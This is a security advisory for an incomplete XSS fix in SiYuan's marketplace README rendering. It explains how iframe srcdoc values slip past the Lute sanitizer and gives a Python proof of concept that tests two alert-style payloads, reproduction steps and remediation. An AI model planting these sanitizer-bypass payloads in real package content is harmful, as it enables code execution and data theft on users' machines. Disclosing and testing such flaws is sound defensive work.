Incomplete fix for CVE-2026-33066: XSS in github.com/siyuan-note/siyuan

Moderate **88250** published **GHSA-8q5w-mmxf-48jg** 3 days ago

Package

github.com/siyuan-note/siyuan (Go)

Affected versions

< commit b382f50e1880

Patched versions

v3.6.4

Description

Summary

The incomplete fix for SiYuan's bazaar README rendering enables the Lute HTML sanitizer but fails to block `<iframe>` tags, allowing stored XSS via `srcdoc` attributes containing embedded scripts that execute in the Electron context.

Affected Package

- **Ecosystem:** Go
- **Package:** github.com/siyuan-note/siyuan
- **Affected versions:** < commit `b382f50`
- **Patched versions:** >= commit `b382f50`

Severity

Medium

CWE

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Details

The `renderPackageREADME()` function in `kernel/bazaar/readme.go` renders Markdown README content from bazaar (marketplace) packages into HTML. The original vulnerability allowed stored XSS through unsanitized HTML in READMEs. The fix adds `luteEngine.SetSanitize(true)` to enable Lute's built-in HTML sanitizer.

However, the Lute sanitizer in `lute/render/sanitizer.go` has a critical gap:

1. `<iframe>` is explicitly commented out of `setOfElementsToSkipContent`, so iframe tags pass through.
2. The `srcdoc` attribute is checked against URL-prefix blocklists (`javascript:`, `data:text/html`), but `srcdoc` contains raw HTML content, not a URL. A value like `<img src=x onerror=alert(1)>` does not start with any blocked prefix.
3. The browser renders `srcdoc` HTML in a nested browsing context, executing embedded scripts and event handlers.

The fix correctly blocks direct `<script>` tags, event handler attributes, and `javascript:` protocol links. However:

- `<iframe srcdoc="<script>alert(document.domain)</script>">` passes through because iframe is not blocked and the srcdoc value is raw HTML (not a URL scheme).
- `<iframe srcdoc="<img src=x onerror=alert(document.cookie)>">` also passes because the event handler is inside the srcdoc string value, not a top-level tag attribute.

PoC

```
"""
CVE-2026-33066 - Incomplete Sanitization in SiYuan Bazaar README Rendering

Component: kernel/bazaar/readme.go :: renderPackageREADME()
Patch: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d740
"""

import re
import sys
from html.parser import HTMLParser

ELEMENTS_TO_SKIP_CONTENT = {
    "frame", "frameset",
    # "iframe",  # NOTE: iframe is commented out in the original Go code!
    "noembed", "noframes", "noscript", "nostyle",
    "object", "script", "style", "title",
}

EVENT_ATTRS = {
    "onafterprint", "onbeforeprint", "onbeforeunload", "onerror",
    "onhashchange", "onload", "onmessage", "onoffline", "ononline",
    "onpagehide", "onpageshow", "onpopstate", "onresize", "onstorage",
    "onunload", "onblur", "onchange", "oncontextmenu", "onfocus",
    "oninput", "oninvalid", "onreset", "onsearch", "onselect",
    "onsubmit", "onkeydown", "onkeypress", "onkeyup", "onclick",
```

```
    "ondblclick", "onmousedown", "onmousemove", "onmouseout",
    "onmouseover", "onmouseleave", "onmouseenter", "onmouseup",
    "onmousewheel", "onwheel", "ondrag", "ondragend", "ondragenter",
    "ondragleave", "ondragover", "ondragstart", "ondrop", "onscroll",
    "oncopy", "oncut", "onpaste", "onabort", "oncanplay",
    "oncanplaythrough", "oncuechange", "ondurationchange", "onemptied",
    "onended", "onloadeddata", "onloadedmetadata", "onloadstart",
    "onpause", "onplay", "onplaying", "onprogress", "onratechange",
    "onseeked", "onseeking", "onstalled", "onsuspend", "ontimeupdate",
    "onvolumechange", "onwaiting", "ontoggle", "onbegin", "onend",
    "onrepeat", "http-equiv", "formaction",
}

URL_ATTRS = {"src", "srcdoc", "srcset", "href"}
BLOCKED_URL_PREFIXES = ("data:image/svg+xml", "data:text/html", "javascript")
SELF_CLOSING_TAGS = {"img", "br", "hr", "input", "meta", "link", "area",
                     "base", "col", "embed", "source", "track", "wbr"}


def sanitize_attr_value_for_url(key, val):
    cleaned = val.lower().strip()
    cleaned = ''.join(c for c in cleaned if not c.isspace() or c == ' ')
    for prefix in BLOCKED_URL_PREFIXES:
        if cleaned.startswith(prefix):
            return False
    return True


class LuteSanitizer(HTMLParser):
    def __init__(self):
        super().__init__(convert_charrefs=False)
        self.output = []
        self.skip_depth = 0

    def handle_starttag(self, tag, attrs):
        tag = tag.lower()
        if tag in ELEMENTS_TO_SKIP_CONTENT:
            self.skip_depth += 1
            self.output.append(" ")
            return
        if self.skip_depth > 0:
            return
        sanitized_attrs = []
        for key, val in attrs:
            key = key.lower()
            if val is None: val = ""
            if key in EVENT_ATTRS: continue
            if key in URL_ATTRS:
                if not sanitize_attr_value_for_url(key, val): continue
            sanitized_attrs.append((key, val))
        parts = ["<" + tag]
        for key, val in sanitized_attrs:
            escaped_val = val.replace("&", "&amp;").replace('"', "&quot;")
            parts.append(f' {key}="{escaped_val}"')
        if tag in SELF_CLOSING_TAGS: parts.append(" /")
        parts.append(">")
```

```
        self.output.append("".join(parts))

    def handle_endtag(self, tag):
        tag = tag.lower()
        if tag in ELEMENTS_TO_SKIP_CONTENT:
            self.skip_depth -= 1
            if self.skip_depth < 0: self.skip_depth = 0
            self.output.append(" ")
            return
        if self.skip_depth > 0: return
        self.output.append(f"</{tag}>")

    def handle_data(self, data):
        if self.skip_depth > 0: return
        self.output.append(data)

    def handle_entityref(self, name):
        if self.skip_depth > 0: return
        self.output.append(f"&{name};")

    def handle_charref(self, name):
        if self.skip_depth > 0: return
        self.output.append(f"&#{name};")

    def handle_comment(self, data): pass
    def handle_decl(self, decl): pass

    def get_output(self): return "".join(self.output)


def sanitize_html(html_str):
    sanitizer = LuteSanitizer()
    sanitizer.feed(html_str)
    return sanitizer.get_output()


def check_xss(html_output):
    findings = []
    srcdoc_match = re.search(r'srcdoc="([^"]*)"', html_output, re.IGNORECASE)
    if srcdoc_match:
        import html as html_mod
        decoded = html_mod.unescape(srcdoc_match.group(1).lower())
        if '<script' in decoded:
            findings.append("iframe srcdoc: embedded <script> tag")
        if re.search(r'on\w+\s*=', decoded):
            findings.append("iframe srcdoc: event handler in nested HTML")
    return findings


PAYLOADS = [
    '<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>',
    '<iframe srcdoc="<img src=x onerror=alert(document.cookie)>"></iframe>',
]

bypass_found = False
for payload in PAYLOADS:
```

```
    fixed_output = sanitize_html(payload)
    findings = check_xss(fixed_output)
    if findings:
        bypass_found = True
        print(f"BYPASS: {payload[:80]}")
        for f in findings:
            print(f"  - {f}")

if bypass_found:
    print("\nVULNERABILITY CONFIRMED")
    sys.exit(0)
else:
    print("\nVULNERABILITY NOT CONFIRMED")
    sys.exit(1)
```

```
python3 poc.py
```

Steps to reproduce:

1. `git clone https://github.com/siyuan-note/siyuan /tmp/siyuan_test`
2. `cd /tmp/siyuan_test && git checkout b382f50e1880ed996364509de5a10a72d7409428~1`
3. `python3 poc.py` (or `go run poc.go` if Go PoC)

Expected output:

```
VULNERABILITY CONFIRMED
Iframe tags with srcdoc attributes bypass the Lute sanitizer, allowing embedded
scripts to execute in the Electron context.
```

Impact

A malicious bazaar package author can include `<iframe srcdoc='<script>...</script>'>` in their README.md. When other users view the package in SiYuan's marketplace UI, the XSS executes in the Electron context with full application privileges, enabling data theft, local file access, and arbitrary code execution on the user's machine.

Suggested Remediation

1. Add `iframe` to the `setOfElementsToSkipContent` set in the Lute sanitizer.
2. If iframes must be preserved, strip the `srcdoc` attribute entirely or sanitize its HTML content recursively.
3. Apply a Content Security Policy (CSP) to the README rendering context.

References

- Incomplete fix commit: `b382f50`
- Original CVE: CVE-2026-33066

Severity

Moderate

CVE ID

CVE-2026-40922

Weaknesses

▶ CWE-79